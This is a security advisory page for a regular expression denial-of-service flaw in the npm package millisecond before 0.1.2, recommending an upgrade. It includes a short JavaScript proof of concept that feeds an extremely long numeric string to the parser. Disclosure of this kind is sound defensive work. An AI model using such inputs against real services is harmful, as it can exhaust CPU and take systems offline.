Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1tNDg5LXhyMzUtZmp4cs0V8w

Regular Expression Denial of Service in millisecond

Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Recommendation

Update to version 0.1.2 or later.

Permalink: https://github.com/advisories/GHSA-m489-xr35-fjxr
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDg5LXhyMzUtZmp4cs0V8w
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: over 2 years ago
Updated: over 1 year ago

Identifiers: GHSA-m489-xr35-fjxr
References:

• https://github.com/unshiftio/millisecond/pull/4
• https://www.npmjs.com/advisories/59
• https://github.com/advisories/GHSA-m489-xr35-fjxr

Repository: https://github.com/unshiftio/millisecond
Blast Radius: 0.0

Affected Packages